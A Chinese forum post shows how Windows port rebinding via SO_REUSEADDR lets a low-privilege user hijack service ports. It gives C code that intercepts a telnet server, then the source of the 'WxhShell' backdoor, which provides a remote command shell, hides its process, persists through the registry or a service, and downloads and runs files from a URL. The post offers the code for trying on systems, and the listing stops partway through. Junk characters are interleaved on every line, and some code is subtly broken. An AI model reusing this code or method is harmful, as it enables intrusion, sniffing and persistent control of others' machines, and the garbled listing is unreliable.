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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: '@TI48 J+  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,?g=U8y|  
e&QS#k  
  saddr.sin_family = AF_INET; /vjGjb=3U  
s=d+GMa  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); yGiP[d|tRc  
W]]q=c%2  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); (=1q!c`  
$n= O  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 84=-Lw  
yo'9x s  
  这意味着什么?意味着可以进行如下的攻击: X>8-` p  
M$Fth*q{GD  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 MO[kr2T  
$!G`D=  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ] @X{dc  
47IY|Jdz  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 r6`\d k  
m0A#6=<  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  i&`!|X-=R  
fVe@YqNa  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 I%@e@Dm,h  
nr OqH  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 k(P3LJcYQ  
_(C^[:s  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 QDS0ejhp  
gnt45]@{  
  #include ?6i;)eIOI  
  #include 3AURzU  
  #include {6'*Phw  
  #include    &=6%>  
  DWORD WINAPI ClientThread(LPVOID lpParam);   <cYp~e%xIw  
  int main() &hayR_F9  
  { cd!|Ne>fe  
  WORD wVersionRequested; .nEs:yn  
  DWORD ret; Is13:  
  WSADATA wsaData; nv"G;W  
  BOOL val; p8=|5.  
  SOCKADDR_IN saddr; Qyz>ZPu}sz  
  SOCKADDR_IN scaddr; u4YM^* S.  
  int err; &Yp+k}XU  
  SOCKET s; q7,^E`5EgU  
  SOCKET sc; <_9!  
  int caddsize; s~^*+kq  
  HANDLE mt; td >,TW=A*  
  DWORD tid;   .Gh%p`<  
  wVersionRequested = MAKEWORD( 2, 2 ); Ah-8"`E  
  err = WSAStartup( wVersionRequested, &wsaData ); xf/m!b"p  
  if ( err != 0 ) { Fn!SGX~kx$  
  printf("error!WSAStartup failed!\n"); ibJl;sJ  
  return -1; %e{(twp  
  } f =o4I2Y[  
  saddr.sin_family = AF_INET; <Nex8fiJ9  
   pI>*u ]x  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 "u;YI=+  
I!0JG`&  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); HA!t$[_Ve  
  saddr.sin_port = htons(23); 0Uw ^FcW  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) WSLy}@`Vx  
  { :uo[&&c  
  printf("error!socket failed!\n"); UfR~%p>K  
  return -1;  %[`a  
  } 3_W{T@T  
  val = TRUE; ]>D)#  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ~:[!Uyp0b  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Seda}  
  { Uky9zGa  
  printf("error!setsockopt failed!\n"); uEx9-,!  
  return -1; -`7$Qu 2  
  } !\;:36B#6  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; VD$ Eb  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 mV?&%>*(f  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 rJQ=9qn\  
Jx$iwu  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) .x}gg\  
  { +K^h!d]  
  ret=GetLastError(); ,r=re!QI7  
  printf("error!bind failed!\n"); 3]/.\(2  
  return -1; +TN^NE  
  } ~c* UAowS  
  listen(s,2); bLbR IY"l  
  while(1) 6tn+m54_  
  {  sTkkM9  
  caddsize = sizeof(scaddr); vXdZmYrC  
  //接受连接请求 X |b2c+I  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Oz{%k#X-  
  if(sc!=INVALID_SOCKET) Qz+sT6js-  
  { NZk&JND  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ]JjK#eh  
  if(mt==NULL) :l,OalO  
  { h^oH^moq<  
  printf("Thread Creat Failed!\n"); #. ct5  
  break; }ptMjT{9  
  } LjaGyj>)  
  } UTCzHh1  
  CloseHandle(mt); ,l HLH  
  } {)@D`{$  
  closesocket(s); PKf:O  
  WSACleanup(); exDkq0u]  
  return 0; qu~X.pW  
  }   zizk7<?L .  
  DWORD WINAPI ClientThread(LPVOID lpParam) dz%EM8  
  { 6~8F!b2  
  SOCKET ss = (SOCKET)lpParam; eLfvMPVo  
  SOCKET sc; JA^v  
  unsigned char buf[4096]; 7I}P*%(f  
  SOCKADDR_IN saddr; #BY`h~&T  
  long num; #@qN8J}R  
  DWORD val; 6/tI8H3E  
  DWORD ret; SfB8!V|;  
  //如果是隐藏端口应用的话,可以在此处加一些判断 m"d/b~q  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   i ]o"_=C  
  saddr.sin_family = AF_INET; W7=V{}b+  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 2Y OKM #N]  
  saddr.sin_port = htons(23); T_;]fPajjD  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) DlTR|(AL  
  { w? LrJ37u  
  printf("error!socket failed!\n"); *:hy Y!x  
  return -1; mfom=-q3k  
  } Z4hLdHo_  
  val = 100; UE :HMn6  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [}2Z/   
  { 2.lgT|p  
  ret = GetLastError(); 5`-UMz<]  
  return -1; PaO- J&<  
  } qlsQ|/'D  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0CAa^Q^w  
  { s B 20/F  
  ret = GetLastError(); bRo|uJ:d  
  return -1; %Mn.e a  
  } 1n=_y o  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) L":bI&V?:  
  { _P7tnXww  
  printf("error!socket connect failed!\n"); 1S:|3W  
  closesocket(sc); SJ?)%[(T  
  closesocket(ss); #VGjCEeU  
  return -1; b]Z@^<_E  
  } aFj.i8+  
  while(1) 4n0xE[-  
  { ?j O 5 9n  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 <l,o&p,>|c  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 u0o'K9.r  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 NwlU%{7W6  
  num = recv(ss,buf,4096,0); .Y*f2A.v  
  if(num>0) },@^0UH4c  
  send(sc,buf,num,0); Ykqyk')wm  
  else if(num==0) 7 s Fz?` -  
  break; y$W|~ H   
  num = recv(sc,buf,4096,0); G"dS+,Q  
  if(num>0) J CGC  
  send(ss,buf,num,0); SO f{Hx0C6  
  else if(num==0) GK*v{`  
  break; y 9l*m~  
  } O4iC]5@  
  closesocket(ss); sLL7]m}  
  closesocket(sc); /JJw 6[ N  
  return 0 ; n,'OiVl[  
  } !#yq@2QX  
&1|?BZv  
O(Jj|Z  
========================================================== "3CJUr:Q  
~P*4V]L^  
下边附上一个代码,,WXhSHELL /t%u"dP"T~  
=8{WZCW5  
========================================================== OE`X<h4r  
=aG xg57  
#include "stdafx.h" <|B1wa:|  
Q \hY7Xq'  
#include <stdio.h> \nqkA{;B{  
#include <string.h> p0:kz l4$  
#include <windows.h> OO) ~HV4\  
#include <winsock2.h> ]0V}D,V($  
#include <winsvc.h> 'jg3  
#include <urlmon.h> #Pk$L+C  
vGy8Qu>  
#pragma comment (lib, "Ws2_32.lib") i[jJafAcN  
#pragma comment (lib, "urlmon.lib") XXZaKgsq  
6xK[34~ 6  
#define MAX_USER   100 // 最大客户端连接数 <Zb/  
#define BUF_SOCK   200 // sock buffer H}}$V7]^),  
#define KEY_BUFF   255 // 输入 buffer O[^%{'  
oqd;6[%G  
#define REBOOT     0   // 重启 G6 0S|d  
#define SHUTDOWN   1   // 关机 YwEpy(}hJm  
%ysZ5:X  
#define DEF_PORT   5000 // 监听端口 yay<GP?  
YZf6|  
#define REG_LEN     16   // 注册表键长度 o{qr!*_3  
#define SVC_LEN     80   // NT服务名长度 [Nm4sI11  
n/d`qS  
// 从dll定义API "/Pjjb:2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =T?}Nt  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /phX'xp  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -Apc$0ZsN  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7cDU2l  
{7hLsK[])  
// wxhshell配置信息 sic"pn],U  
struct WSCFG { BaI $S>/Q  
  int ws_port;         // 监听端口 WsU)Y&  
  char ws_passstr[REG_LEN]; // 口令  mEG6  
  int ws_autoins;       // 安装标记, 1=yes 0=no  uF|3/x=  
  char ws_regname[REG_LEN]; // 注册表键名 n.MRz WJpZ  
  char ws_svcname[REG_LEN]; // 服务名 )-15 N  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 S0,R_d')  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 CqMhk  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6RO(]5wX  
int ws_downexe;       // 下载执行标记, 1=yes 0=no C$h<Wt=<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" C*=Xk/0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Fxs;Fp  
$``1PJoi  
}; JCx WWre  
+j_ ;(Gw7  
// default Wxhshell configuration .T<= z  
struct WSCFG wscfg={DEF_PORT, 3981ie  
    "xuhuanlingzhe", VZr>U*J[:  
    1, `_I@i]i^  
    "Wxhshell", Qf M zF  
    "Wxhshell", OVzt\V*+%W  
            "WxhShell Service", jdZ~z#`(!:  
    "Wrsky Windows CmdShell Service", !)"%),>}o  
    "Please Input Your Password: ", RcG0 8p.)  
  1, ~)LH='|h\}  
  "http://www.wrsky.com/wxhshell.exe", E907fX[R~  
  "Wxhshell.exe" Ix@&$!'k  
    }; >zsid:  
/-_=nf}w  
// 消息定义模块 ( 9!k#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; H`bSYjgM!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; K%<j=c  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; g6@Fp7T  
char *msg_ws_ext="\n\rExit."; 9O` m,t  
char *msg_ws_end="\n\rQuit."; `pf4X/Py  
char *msg_ws_boot="\n\rReboot..."; q\Q{sv_  
char *msg_ws_poff="\n\rShutdown..."; ,[S+T.Cu  
char *msg_ws_down="\n\rSave to "; y.5/?{GL  
00I}o%akO  
char *msg_ws_err="\n\rErr!"; Ars687WB  
char *msg_ws_ok="\n\rOK!"; E1dD7r\  
T{wpJ"F5<]  
char ExeFile[MAX_PATH]; Ac2(O6  
int nUser = 0; q5h*`7f  
HANDLE handles[MAX_USER]; cMyiW$;  
int OsIsNt; >z;[2 n'  
AqK z$  
SERVICE_STATUS       serviceStatus; w\54j)rb  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; F>tQn4  
Nk=JBIsKv  
// 函数声明 X'.qYsS  
int Install(void); D0k 8^  
int Uninstall(void); \P} p5k[  
int DownloadFile(char *sURL, SOCKET wsh); 3 &u_A?;  
int Boot(int flag); _{t9 x\=  
void HideProc(void); M` q?Fk  
int GetOsVer(void); PWh^[Rd)  
int Wxhshell(SOCKET wsl); H gTUy[(  
void TalkWithClient(void *cs); HX'FYt/?t  
int CmdShell(SOCKET sock); :q8b;*:  
int StartFromService(void); iHwLZ[O{  
int StartWxhshell(LPSTR lpCmdLine); /MY9 >  
z,qRcO&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~!s-o|N_\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); IDkWGh  
/27JevE  
// 数据结构和表定义 2LrJ>Mi  
SERVICE_TABLE_ENTRY DispatchTable[] = /{wJEuE  
{ )1N 54FNO  
{wscfg.ws_svcname, NTServiceMain}, ul%h@=n  
{NULL, NULL} QK0 h6CX  
}; Nx{$}  
A+y  
// 自我安装 JdIlWJY  
int Install(void) CTWn2tpW  
{ ]\/tVn.'  
  char svExeFile[MAX_PATH]; ]| N3eu  
  HKEY key; SH*C"  
  strcpy(svExeFile,ExeFile); :[ k4Z]t8  
2*(Z==XC7  
// 如果是win9x系统,修改注册表设为自启动 :4~g;2oag  
if(!OsIsNt) { ^TMJ8` e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `_b`kzJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;Yi4Xva@  
  RegCloseKey(key); )jq?lw'&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0sI1GhVR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KIR'$ 6pn~  
  RegCloseKey(key); f;/QJ  
  return 0; [V4{c@  
    } /Q,{?';~  
  } W@y J AQ  
} $P1O>x>LIL  
else { N`)$[&NG]  
Q{k At%  
// 如果是NT以上系统,安装为系统服务  Z%I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;'81jbh  
if (schSCManager!=0) jTLSdul+  
{ R!l:O=[<  
  SC_HANDLE schService = CreateService u:aW 8  
  ( Pnd `=%w%]  
  schSCManager, nW;g28  
  wscfg.ws_svcname, aM7uBx\8 5  
  wscfg.ws_svcdisp, ix#epuN  
  SERVICE_ALL_ACCESS, kdb(I@6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , mv5n4mav  
  SERVICE_AUTO_START, yLsz8j-QJ  
  SERVICE_ERROR_NORMAL, mxb06u _  
  svExeFile, *3T| M@Y  
  NULL, }I@L}f5N  
  NULL, )DYI .  
  NULL, ##Z_QB(;  
  NULL, aR\\<due  
  NULL k`GA\&zt  
  ); odg<q$34  
  if (schService!=0) DE2a5+^  
  { rP!#RzL  
  CloseServiceHandle(schService); ^z,_+},a3T  
  CloseServiceHandle(schSCManager); `DT3x{}_S  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8k(P,o  
  strcat(svExeFile,wscfg.ws_svcname); )xb|3&+W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %,hV[[@.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); q>w)"Dd  
  RegCloseKey(key); cBo{/Tn:  
  return 0; <>m }}^  
    } v)2M1  
  } K}=|.sE9  
  CloseServiceHandle(schSCManager); b)9'bJRvU  
} PMfkA!.Y  
} W>q HFoKa  
lN9=TxH1(;  
return 1; ~+Z{Q25R  
} 1heS*Fwn'  
lg047K   
// 自我卸载 K \vSB~{ [  
int Uninstall(void) V/LQ<Yke  
{ RT>{*E<I  
  HKEY key; VXR]"W=  
*xp\4;B  
if(!OsIsNt) { }E`dZW*!!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kD bhu^~B  
  RegDeleteValue(key,wscfg.ws_regname); hDV20&hq  
  RegCloseKey(key); :>itXD!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3s"0SLS4  
  RegDeleteValue(key,wscfg.ws_regname); Q[+ac*F=Y  
  RegCloseKey(key); 31EyDU,W  
  return 0; &qS[%K )  
  } 4mn&4e  
} ;Jd3u -  
} 6\61~u~  
else { a,78l@d(  
(%O@r!{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); l3nrEk  
if (schSCManager!=0) 5MzFUv0)  
{ uUKcB:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); v=('{/^~>  
  if (schService!=0) YDGS}~m~Q  
  { IF]lHB  
  if(DeleteService(schService)!=0) { Cuc$3l(%  
  CloseServiceHandle(schService); JoSJH35=:  
  CloseServiceHandle(schSCManager); 9:I6( Zv0  
  return 0; %r4 q8-  
  } 6i0A9SN  
  CloseServiceHandle(schService); aTf`BG{kw  
  } pHoEa7:  
  CloseServiceHandle(schSCManager); 4nAa`(62  
} R0oKbs{  
} WW~+?g5  
G|\^{ 5   
return 1; =V"(AuCVE  
} t'm;:J1  
si4don  
// 从指定url下载文件 1".v6caW  
int DownloadFile(char *sURL, SOCKET wsh) m!U9m  
{ oA1a/[#  
  HRESULT hr; inlk++Og  
char seps[]= "/"; "(qw-kil  
char *token; 4[r/}/iGo  
char *file; fr!Pj(Q1  
char myURL[MAX_PATH]; Y<0 4RV  
char myFILE[MAX_PATH]; xnE|Umz  
wp7!>% s{  
strcpy(myURL,sURL); xUfbW;;]UU  
  token=strtok(myURL,seps); )/t?!T.[  
  while(token!=NULL) C ;(t/zh  
  { Ged[#Q  
    file=token; lDmtQk-SN  
  token=strtok(NULL,seps); r\;ut4wy  
  } YIR R=qpn  
sl*5Y#,|1  
GetCurrentDirectory(MAX_PATH,myFILE); j5I`a 1j`  
strcat(myFILE, "\\"); hR5_+cuIp  
strcat(myFILE, file); :rP#I#,7w  
  send(wsh,myFILE,strlen(myFILE),0); -|rLs$V1r  
send(wsh,"...",3,0); `-3o+ID\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -X+H2G  
  if(hr==S_OK) wb Iq&>p  
return 0; c)0amM  
else $wYFEz  
return 1; z#F.xVg'  
DS|KkTy3  
} sKyPosnP  
fg#x7v4O  
// 系统电源模块 @* il3h,  
int Boot(int flag) ^}f -!nf[  
{  )J?{+3  
  HANDLE hToken; 0kDK~iT  
  TOKEN_PRIVILEGES tkp; HHjt/gc}`  
Lr`1TH,  
  if(OsIsNt) {  s}onsC  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); dJ?XPo"Cm=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); y< C<_2  
    tkp.PrivilegeCount = 1; cQ:"-!ff  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7H>@iI"?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); n[YEOkiG  
if(flag==REBOOT) { ;+1RU v  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) XhsTT2B   
  return 0; ~ 8aJ S,u  
} K gN)JD>  
else { +y 87~]]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) WL+]4Wiz  
  return 0; h $N0 D !  
} RI2f`p8k  
  } 'Peni1_  
  else { Nm):9YQ/  
if(flag==REBOOT) { 1N2,mo?2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) fSDi- I  
  return 0; ~:km]?lz0  
} e?bYjJ q  
else { 76.{0 c  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ET];%~ ^  
  return 0; &uUo3qXQ5l  
} w:' dhr':  
} Ap{}^  
E+C5 h ;p&  
return 1; |w}xl'>q  
} _tr<}PnZ  
[7m1Q<  
// win9x进程隐藏模块 ny-7P;->8  
void HideProc(void) I]!^;))  
{ r6'UUu  
E2L(wt}^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); t:LcNlN|  
  if ( hKernel != NULL ) e"r)R8  
  { `]Bxn) b(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); D|qk_2R%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); K\XyZ  
    FreeLibrary(hKernel); ;@h0qRXW:h  
  } y$81Z q  
$hxN hI  
return; >!6i3E^  
} /MQU >&  
VDB;%U*D  
// 获取操作系统版本 T!W~n ZC  
int GetOsVer(void) sS TPMh  
{ 2wqk,c[]  
  OSVERSIONINFO winfo; 8vk..!7n}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^[Cv26  
  GetVersionEx(&winfo); w<9>Q1(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) v&FF|)$  
  return 1; w#i[_  
  else ZDL']*)'  
  return 0; z'p:gv]  
} l8K5k:XCU3  
>MJ?g-  
// 客户端句柄模块 KNgH|5Pb  
int Wxhshell(SOCKET wsl) [~D|peM3  
{ :`) ~-`_  
  SOCKET wsh; M\b")Tu{0  
  struct sockaddr_in client; B~'MBBD"  
  DWORD myID; 0:KE@=  
e$c?}3E!z  
  while(nUser<MAX_USER) 4;`Bj:.  
{ j\RpO'+}  
  int nSize=sizeof(client); *sQcg8{^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _B2V "p  
  if(wsh==INVALID_SOCKET) return 1; >*twTlb{  
Wl^R8w#Z$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m"c :"I6  
if(handles[nUser]==0) TaJB4zB  
  closesocket(wsh); PC c|}*b  
else =G~~?>=@2  
  nUser++; !A8^Xmz"  
  } -G &_^"=R  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =\)IaZ  
/W#O +  
  return 0; 3>z[PPw  
} ;evCW$G=  
+kdySWF  
// 关闭 socket mxSKG> O  
void CloseIt(SOCKET wsh) ! 0/z>#b  
{ !\[+99F#  
closesocket(wsh); ~`Qko-a&  
nUser--; A{o'z_zC  
ExitThread(0); uQLlA&I"  
} Y^"4?96  
*5%*|>  
// 客户端请求句柄 D}Ilyk_uUw  
void TalkWithClient(void *cs) [-*F"}D,  
{ ~#:e*:ro  
lhC6S'vq  
  SOCKET wsh=(SOCKET)cs; jn9 ShF  
  char pwd[SVC_LEN]; ~c{:DM  
  char cmd[KEY_BUFF]; u}9fj  
char chr[1]; bAxTLIf  
int i,j; u"$a>S_  
0BkV/v1Uc  
  while (nUser < MAX_USER) { PM$Ee #62R  
&ntBU]< q  
if(wscfg.ws_passstr) { \o3"~\|6C  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j_?cpm{~ml  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MWuXI1  
  //ZeroMemory(pwd,KEY_BUFF); Y ?]G}5  
      i=0; F>|9 52  
  while(i<SVC_LEN) { {F*N=pSq  
D1,O:+[;.  
  // 设置超时  Kn+=lCk  
  fd_set FdRead; b`cYpcs  
  struct timeval TimeOut; |pZo2F!.  
  FD_ZERO(&FdRead); gvli%9n  
  FD_SET(wsh,&FdRead); p}]q d4j  
  TimeOut.tv_sec=8; >',y  
  TimeOut.tv_usec=0; ;kaHN;4?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }wt%1v-10U  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); aj|5 #  
o}8{Bh^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t\j!K2  
  pwd=chr[0]; d+z[\i  
  if(chr[0]==0xd || chr[0]==0xa) { ioIv=qGdiP  
  pwd=0; G2mNm'0  
  break; F N"rZWM  
  } +?-qfp,:0  
  i++; b5ie <s  
    } UPCQs",  
coQ[@vu  
  // 如果是非法用户,关闭 socket ){Z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &B-[oqC?  
} 1JTbCS  
9+CFRYC  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zjbE 7^ N  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sz09+4h#  
bLG]Wa  
while(1) { Wb=Jj 9;  
z<C[nR$N  
  ZeroMemory(cmd,KEY_BUFF); 9rj('F & 1  
OKY+M^PP  
      // 自动支持客户端 telnet标准   5S/>l_od$2  
  j=0; f==*"?6\  
  while(j<KEY_BUFF) { R$b,h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fDuwgY0  
  cmd[j]=chr[0]; q G ;-o)h  
  if(chr[0]==0xa || chr[0]==0xd) { \v`#|lT$  
  cmd[j]=0; ^/KfH &E  
  break; `\FI7s3b  
  } .A<sr  
  j++; +802`eax  
    } iV)ac\  
|Mg }2!/L  
  // 下载文件 6zYaA  
  if(strstr(cmd,"http://")) { (:?&G9k "  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 'tWAuI  
  if(DownloadFile(cmd,wsh)) SfI*bJo>V  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9G:TW|)L[Q  
  else 'XfgBJF=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Md9l+[@  
  } 9={N4}<  
  else { >iy^$bqF  
PKtU:Eg  
    switch(cmd[0]) { &G{2s J5{  
  yKDZ+3xK]  
  // 帮助 EODB`$+  
  case '?': { 8$ DwpJ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ce5nG0@#  
    break; oa0X5}D  
  } J/S{FxNe]  
  // 安装 ?vu|o'$T,  
  case 'i': { ZO7bSxAN-  
    if(Install()) R#0{Wg0O)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,+-?Zv 2  
    else k/#M<z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aW`dFitpM  
    break; a>b8- j=J  
    } [-VGArD[k,  
  // 卸载 "|4jP za  
  case 'r': { E/"SU*Co  
    if(Uninstall()) `` -k{C#F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^g]xU1] *  
    else =x4a~=HX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v' 0!=r  
    break; :VFTVmr  
    } b?k4InXh  
  // 显示 wxhshell 所在路径 a%n'%*0  
  case 'p': { I<`V_  
    char svExeFile[MAX_PATH]; >ITEd  
    strcpy(svExeFile,"\n\r"); nO_!:6o".  
      strcat(svExeFile,ExeFile); }N|\   
        send(wsh,svExeFile,strlen(svExeFile),0); 5Bd(>'ig_  
    break; 6^ik|k|  
    } DQ5W6W  
  // 重启 <3Fz>}V32  
  case 'b': { J 9a $AU*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); R9=K(pOT  
    if(Boot(REBOOT)) e`ex]py<C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !w=,p.?V=  
    else { P!>g7X  
    closesocket(wsh); #11RLvDQd  
    ExitThread(0); $NCm;0\B|  
    } P CsK()  
    break; JjDS"hK#  
    } L<E/,IdE  
  // 关机 poY8 )2  
  case 'd': { qL>v&Rd<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ' fl(N2t  
    if(Boot(SHUTDOWN)) RO$*G jQd  
